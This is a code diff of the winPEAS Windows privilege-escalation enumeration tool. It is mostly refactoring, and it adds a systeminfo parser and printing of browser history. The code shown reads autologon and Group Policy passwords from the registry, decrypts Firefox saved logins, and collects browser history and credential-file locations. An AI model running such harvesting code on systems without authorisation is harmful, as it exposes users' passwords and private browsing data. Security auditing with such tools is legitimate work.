currentUserPerms = string.Join(", ", currentUserPermsList); currentUserPerms = string.Join(", ", currentUserPermsList);
} }
catch catch

View File

@@ -2,7 +2,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics.Eventing.Reader; using System.Diagnostics.Eventing.Reader;
using System.Text.RegularExpressions;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;

View File

@@ -1,4 +1,5 @@
using System; using System;
using System.Diagnostics;
using System.Collections.Generic; using System.Collections.Generic;
using System.Globalization; using System.Globalization;
using System.IO; using System.IO;
@@ -7,9 +8,10 @@ using System.Management;
using System.Net; using System.Net;
using System.Net.NetworkInformation; using System.Net.NetworkInformation;
using System.Windows.Forms; using System.Windows.Forms;
using System.Text.RegularExpressions;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.KnownFileCreds;
namespace winPEAS.Info.SystemInfo namespace winPEAS.Info.SystemInfo
{ {
@@ -50,6 +52,60 @@ namespace winPEAS.Info.SystemInfo
public static Dictionary<string, string> GetBasicOSInfo() public static Dictionary<string, string> GetBasicOSInfo()
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>();
// Systeminfo from cmd to be able to use wes-ng
///////////////////////////////////////////////
Process process = new Process();
// Configure the process to run the systeminfo command
process.StartInfo.FileName = "systeminfo.exe";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
// Start the process
process.Start();
// Read the output of the command
string output = process.StandardOutput.ReadToEnd();
// Wait for the command to finish
process.WaitForExit();
// Split the output by newline characters
string[] lines = output.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);
string osname = @".*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*";
string osversion = @".*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+) )?[ -\xa5]+ (\d+).*";
// Iterate over each line and add key-value pairs to the dictionary
foreach (string line in lines)
{
int index = line.IndexOf(':');
if (index != -1)
{
string key = line.Substring(0, index).Trim();
string value = line.Substring(index + 1).Trim();
if (Regex.IsMatch(value, osname, RegexOptions.IgnoreCase))
{
results["OS Name"] = value;
}
//I have to find a better way. Maybe use regex from wes-ng
if (Regex.IsMatch(value, osversion, RegexOptions.IgnoreCase))
{
results["OS Version"] = value;
}
if (value.Contains("based PC"))
{
results["System Type"] = value;
}
}
}
// ENDING Systeminfo from cmd to be able to use wes-ng
///////////////////////////////////////////////
try try
{ {
string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");

View File

@@ -1,7 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using Microsoft.Win32;
using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
namespace winPEAS.Info.SystemInfo.WindowsDefender namespace winPEAS.Info.SystemInfo.WindowsDefender
@@ -17,7 +15,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
public WindowsDefenderSettings(string defenderBaseKeyPath) public WindowsDefenderSettings(string defenderBaseKeyPath)
{ {
PathExclusions = new List<string>(); PathExclusions = new List<string>();
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths"); var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
if (pathExclusionData != null) if (pathExclusionData != null)
{ {
foreach (var kvp in pathExclusionData) foreach (var kvp in pathExclusionData)

View File

@@ -1,10 +1,4 @@
using System; namespace winPEAS.Info.SystemInfo.WindowsDefender
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace winPEAS.Info.SystemInfo.WindowsDefender
{ {
class WindowsDefenderSettingsInfo class WindowsDefenderSettingsInfo
{ {

View File

@@ -2,7 +2,6 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Classes; using winPEAS.Native.Classes;

View File

@@ -2,7 +2,6 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Net.NetworkInformation; using System.Net.NetworkInformation;
using System.Security.Principal; using System.Security.Principal;
using System.Text.RegularExpressions;
using winPEAS.Helpers; using winPEAS.Helpers;
namespace winPEAS.Info.UserInfo namespace winPEAS.Info.UserInfo

View File

@@ -3,7 +3,6 @@ using System.Collections.Generic;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Text;
using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Structs; using winPEAS.Native.Structs;

View File

@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen); Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
strBuilder.EnsureCapacity(luidNameLen + 1); strBuilder.EnsureCapacity(luidNameLen + 1);
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen)) if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}"; results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
Marshal.FreeHGlobal(luidPointer); Marshal.FreeHGlobal(luidPointer);
} }
} }

View File

@@ -7,7 +7,6 @@ using System.Management;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Structs; using winPEAS.Native.Structs;

View File

@@ -6,7 +6,6 @@ using System.Windows.Forms;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.UserInfo.SAM; using winPEAS.Info.UserInfo.SAM;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
@@ -251,14 +250,15 @@ namespace winPEAS.Info.UserInfo
public static Dictionary<string, string> GetAutoLogon() public static Dictionary<string, string> GetAutoLogon()
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>
{
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"); ["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"); ["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"); ["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"); ["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"); ["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword"); ["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
};
return results; return results;
} }

View File

@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
try try
{ {
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE"); string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
if (!allUsers.Contains("ProgramData")) if (!allUsers.Contains("ProgramData"))
{ {
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
Changed = "[BLANK]"; Changed = "[BLANK]";
} }
results[file] = new Dictionary<string, string>(); results[file] = new Dictionary<string, string>
results[file]["UserName"] = UserName; {
results[file]["NewName"] = NewName; ["UserName"] = UserName,
results[file]["cPassword"] = cPassword; ["NewName"] = NewName,
results[file]["Changed"] = Changed; ["cPassword"] = cPassword,
["Changed"] = Changed
};
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
$@"{systemRoot}\System32\config\RegBack\SYSTEM", $@"{systemRoot}\System32\config\RegBack\SYSTEM",
}; };
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation))); results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files // Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
int lastDays = 30; int lastDays = 30;
var startTime = System.DateTime.Now.AddDays(-lastDays); var startTime = DateTime.Now.AddDays(-lastDays);
// Shell COM object GUID // Shell COM object GUID
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000")); Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));

View File

@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
try try
{ {
var winDir = System.Environment.GetEnvironmentVariable("windir"); var winDir = Environment.GetEnvironmentVariable("windir");
string[] searchLocations = string[] searchLocations =
{ {
$"{winDir}\\sysprep\\sysprep.xml", $"{winDir}\\sysprep\\sysprep.xml",
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
$"{winDir}\\..\\unattend.inf", $"{winDir}\\..\\unattend.inf",
}; };
results.AddRange(searchLocations.Where(System.IO.File.Exists)); results.AddRange(searchLocations.Where(File.Exists));
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -1,6 +1,7 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Web.Script.Serialization; using System.Web.Script.Serialization;
using winPEAS.Checks; using winPEAS.Checks;
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
Beaprint.MainPrint("Looking for Chrome DBs"); Beaprint.MainPrint("Looking for Chrome DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs(); Dictionary<string, string> chromeDBs = GetChromeDbs();
if (chromeDBs.ContainsKey("userChromeCookiesPath")) if (chromeDBs.ContainsKey("userChromeCookiesPath"))
{ {
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
Beaprint.MainPrint("Looking for GET credentials in Chrome history"); Beaprint.MainPrint("Looking for GET credentials in Chrome history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook(); Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
List<string> history = chromeHistBook["history"]; List<string> history = chromeHistBook["history"];
List<string> bookmarks = chromeHistBook["bookmarks"]; List<string> bookmarks = chromeHistBook["bookmarks"];
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine(); Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
} }
else else
{ {
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
else else
{ {
string userChromeCookiesPath = string userChromeCookiesPath =
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"; $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
if (File.Exists(userChromeCookiesPath)) if (File.Exists(userChromeCookiesPath))
{ {
results["userChromeCookiesPath"] = userChromeCookiesPath; results["userChromeCookiesPath"] = userChromeCookiesPath;
} }
string userChromeLoginDataPath = string userChromeLoginDataPath =
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"; $"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
if (File.Exists(userChromeLoginDataPath)) if (File.Exists(userChromeLoginDataPath))
{ {
results["userChromeLoginDataPath"] = userChromeLoginDataPath; results["userChromeLoginDataPath"] = userChromeLoginDataPath;
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
List<string> results = new List<string>(); List<string> results = new List<string>();
// parses a Chrome history file via regex // parses a Chrome history file via regex
if (System.IO.File.Exists(path)) if (File.Exists(path))
{ {
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
} }
else else
{ {
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
results["history"] = ParseChromeHistory(userChromeHistoryPath); results["history"] = ParseChromeHistory(userChromeHistoryPath);
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE")); string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath); results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
} }
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
{ {
try try
{ {
string contents = System.IO.File.ReadAllText(path); string contents = File.ReadAllText(path);
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
JavaScriptSerializer json = new JavaScriptSerializer(); JavaScriptSerializer json = new JavaScriptSerializer();

View File

@@ -1,10 +1,4 @@
using System; namespace winPEAS.KnownFileCreds.Browsers.Firefox
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
class FFLogins class FFLogins
{ {

View File

@@ -4,11 +4,11 @@ using System.Data;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Web.Script.Serialization;
using winPEAS._3rdParty.SQLite;
using winPEAS.Checks; using winPEAS.Checks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.KnownFileCreds.Browsers.Models; using winPEAS.KnownFileCreds.Browsers.Models;
using winPEAS._3rdParty.SQLite;
using System.Web.Script.Serialization;
namespace winPEAS.KnownFileCreds.Browsers.Firefox namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
Beaprint.MainPrint("Looking for Firefox DBs"); Beaprint.MainPrint("Looking for Firefox DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxDBs = Firefox.GetFirefoxDbs(); List<string> firefoxDBs = GetFirefoxDbs();
if (firefoxDBs.Count > 0) if (firefoxDBs.Count > 0)
{ {
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
{ {
Beaprint.MainPrint("Looking for GET credentials in Firefox history"); Beaprint.MainPrint("Looking for GET credentials in Firefox history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxHist = Firefox.GetFirefoxHistory(); List<string> history = GetFirefoxHistory();
if (firefoxHist.Count > 0) if (history.Count > 0)
{ {
Dictionary<string, string> colorsB = new Dictionary<string, string>() Dictionary<string, string> colorsB = new Dictionary<string, string>()
{ {
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad }, { Globals.PrintCredStrings, Beaprint.ansi_color_bad },
}; };
foreach (string url in firefoxHist) foreach (string url in history)
{ {
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex)) if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
{ {
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
} }
else else
{ {
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"; string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
if (System.IO.Directory.Exists(userFirefoxBasePath)) if (Directory.Exists(userFirefoxBasePath))
{ {
var directories = Directory.EnumerateDirectories(userFirefoxBasePath); var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
foreach (string directory in directories) foreach (string directory in directories)
@@ -248,6 +253,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
} }
foreach (string dir in dirs) foreach (string dir in dirs)
{
if (Directory.Exists(dir))
{ {
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray(); string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
if (files.Length > 0) if (files.Length > 0)
@@ -269,6 +276,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
FFDecryptor.NSS_Init(dir); FFDecryptor.NSS_Init(dir);
break; break;
} }
}
} }
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins) foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
{ {
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername); string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword); string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
logins.Add(new CredentialModel logins.Add(new CredentialModel
{ {
Username = username, Username = username,

View File

@@ -1,11 +1,11 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Reflection; using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Checks; using winPEAS.Checks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
Beaprint.MainPrint("Current IE tabs"); Beaprint.MainPrint("Current IE tabs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> urls = InternetExplorer.GetCurrentIETabs(); List<string> urls = GetCurrentIETabs();
Dictionary<string, string> colorsB = new Dictionary<string, string>() Dictionary<string, string> colorsB = new Dictionary<string, string>()
{ {
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
{ {
Beaprint.MainPrint("Looking for GET credentials in IE history"); Beaprint.MainPrint("Looking for GET credentials in IE history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav(); Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
List<string> history = chromeHistBook["history"]; List<string> history = ieHistoryBook["history"];
List<string> favorites = chromeHistBook["favorites"]; List<string> favorites = ieHistoryBook["favorites"];
if (history.Count > 0) if (history.Count > 0)
{ {
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
Beaprint.AnsiPrint(" " + url, colorsB); Beaprint.AnsiPrint(" " + url, colorsB);
} }
} }
Console.WriteLine(); Console.WriteLine();
int limit = 50;
Beaprint.MainPrint($"IE history -- limit {limit}\n");
Beaprint.ListPrint(history.Take(limit).ToList());
}
else
{
Beaprint.NotFoundPrint();
} }
Beaprint.MainPrint("IE favorites"); Beaprint.MainPrint("IE favorites");
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
{ "favorites", new List<string>() }, { "favorites", new List<string>() },
}; };
DateTime startTime = System.DateTime.Now.AddDays(-lastDays); DateTime startTime = DateTime.Now.AddDays(-lastDays);
try try
{ {
@@ -166,24 +173,15 @@ namespace winPEAS.KnownFileCreds.Browsers
if ((settings != null) && (settings.Count != 0)) if ((settings != null) && (settings.Count != 0))
{ {
foreach (KeyValuePair<string, object> kvp in settings) foreach (KeyValuePair<string, object> kvp in settings)
{
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
if (timeBytes != null)
{
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
DateTime urlTime = DateTime.FromFileTime(timeLong);
if (urlTime > startTime)
{ {
results["history"].Add(kvp.Value.ToString().Trim()); results["history"].Add(kvp.Value.ToString().Trim());
} }
} }
}
}
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
if (Directory.Exists(userIEBookmarkPath))
{
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray(); string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
foreach (string bookmarkPath in bookmarkPaths) foreach (string bookmarkPath in bookmarkPaths)
{ {
using (StreamReader rdr = new StreamReader(bookmarkPath)) using (StreamReader rdr = new StreamReader(bookmarkPath))
@@ -204,6 +202,7 @@ namespace winPEAS.KnownFileCreds.Browsers
} }
} }
} }
}
catch (Exception ex) catch (Exception ex)
{ {
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex)); Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));

View File

@@ -1,4 +1,5 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
@@ -6,7 +7,6 @@ using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text; using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -76,7 +76,7 @@ namespace winPEAS.KnownFileCreds
else else
{ {
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE"); var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
userDirs = new List<string>{ currentUserDir }; userDirs = new List<string> { currentUserDir };
} }
foreach (var userDir in userDirs) foreach (var userDir in userDirs)
@@ -123,7 +123,7 @@ namespace winPEAS.KnownFileCreds
// parses recent file shortcuts via COM // parses recent file shortcuts via COM
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>(); List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
int lastDays = 7; int lastDays = 7;
DateTime startTime = System.DateTime.Now.AddDays(-lastDays); DateTime startTime = DateTime.Now.AddDays(-lastDays);
try try
{ {
@@ -144,6 +144,8 @@ namespace winPEAS.KnownFileCreds
{ {
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir); string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
try try
{
if (Directory.Exists(recentPath))
{ {
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray(); string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
@@ -152,7 +154,7 @@ namespace winPEAS.KnownFileCreds
Console.WriteLine(" {0} :\r\n", userName); Console.WriteLine(" {0} :\r\n", userName);
foreach (string recentFile in recentFiles) foreach (string recentFile in recentFiles)
{ {
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); DateTime lastAccessed = File.GetLastAccessTime(recentFile);
if (lastAccessed > startTime) if (lastAccessed > startTime)
{ {
@@ -174,14 +176,16 @@ namespace winPEAS.KnownFileCreds
} }
} }
} }
}
catch { } catch { }
} }
} }
} }
else else
{ {
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA")); string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", Environment.GetEnvironmentVariable("APPDATA"));
if (Directory.Exists(recentPath))
{
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories); var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
foreach (string recentFile in recentFiles) foreach (string recentFile in recentFiles)
@@ -190,7 +194,7 @@ namespace winPEAS.KnownFileCreds
//WshShell shell = new WshShell(); //WshShell shell = new WshShell();
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile); //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); DateTime lastAccessed = File.GetLastAccessTime(recentFile);
if (lastAccessed > startTime) if (lastAccessed > startTime)
{ {
@@ -210,6 +214,7 @@ namespace winPEAS.KnownFileCreds
} }
} }
} }
}
// release the WshShell COM object // release the WshShell COM object
Marshal.ReleaseComObject(shellObj); Marshal.ReleaseComObject(shellObj);
shellObj = null; shellObj = null;
@@ -237,13 +242,15 @@ namespace winPEAS.KnownFileCreds
string userName = parts[parts.Length - 1]; string userName = parts[parts.Length - 1];
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{ {
